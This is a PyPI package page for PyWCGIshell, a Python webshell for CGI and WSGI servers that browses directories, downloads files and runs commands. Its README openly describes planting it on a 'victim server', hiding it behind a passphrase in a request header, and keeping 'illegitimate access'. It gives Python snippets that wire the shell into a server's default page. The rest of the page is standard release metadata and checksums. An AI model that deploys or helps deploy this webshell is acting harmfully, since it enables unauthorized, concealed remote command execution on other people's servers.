PyWCGIshell
Description
This package implement a WebShell for CGI and WSGI server.
With this WebShell you can:
- explore directories and download files
- execute command lines (with command history)
- show basic informations about environment server
- show environments variables
Requirements
This package require :
- python3
- python3 Standard Library
Installation
pip install PyWCGIshell
Usages
Command line
(Command line is useful to try the webshell)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode
Python script
CGI page
from PyWCGIshell import WebShell
def my_default_cgi_page():
print("Content-type:text/plain; charset=utf-8")
print("")
print("Hello World !")
webshell = WebShell()
webshell.standard_page = my_default_cgi_page
webshell.run()
WSGI page
from PyWCGIshell import WebShell
def my_default_wsgi_page(environ, start_response):
status = '200 OK'
headers = [('Content-type', 'text/plain; charset=utf-8')]
start_response(status, headers)
return [b"Hello World !"]
webshell = WebShell(type_="wsgi")
webshell.standard_page = my_default_wsgi_page
application = webshell.run
# Apache with mod_wsgi use the "application" as default function
WebShell options
from PyWCGIshell import WebShell
webshell = WebShell(type_="cgi", passphrase="SHELL", pass_type="method")
webshell.run()
I don't recommend using method like pass_type to hide your WebShell.
You can use similar configuration to hide your WebShell.
from PyWCGIshell import WebShell
webshell = WebShell(type_="wsgi", passphrase="<inexistant api key>", pass_type="header_value")
application = webshell.run
To use this WebShell:
- Configure (server type, passphrase and passphrase location) and copy the WebShell code or install it
- Paste it in the default page of the victim server or import it
- Send a request with the passphrase and exploit the weak server
Example
Install and configure PyWCGIshell on WebScripts to keep your illegitimate access and hide it (repo is here).
WebShell on WebScripts - Youtube
Links
Licence
Licensed under the GPL, version 3.
Metadata
Release files for PyWCGIshell 1.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| PyWCGIshell-1.1.0.tar.gz | 21.1 kB | Without provenance | Details for PyWCGIshell-1.1.0.tar.gz |
Release files / PyWCGIshell-1.1.0.tar.gz
| Download URL | PyWCGIshell-1.1.0.tar.gz |
|---|---|
| Size | 21.1 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
d1937ba16c65caa54782289f493141e9bd221ff82e04babff4bc5cdf594a3db6
|
|
BLAKE2b-256 checksum How to use checksums |
3ff390847d4ebd0136104bf175b75baf0004e13c0750dcac52d310291325b8d0
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/52.0.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.7
|
Security for PyWCGIshell 1.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.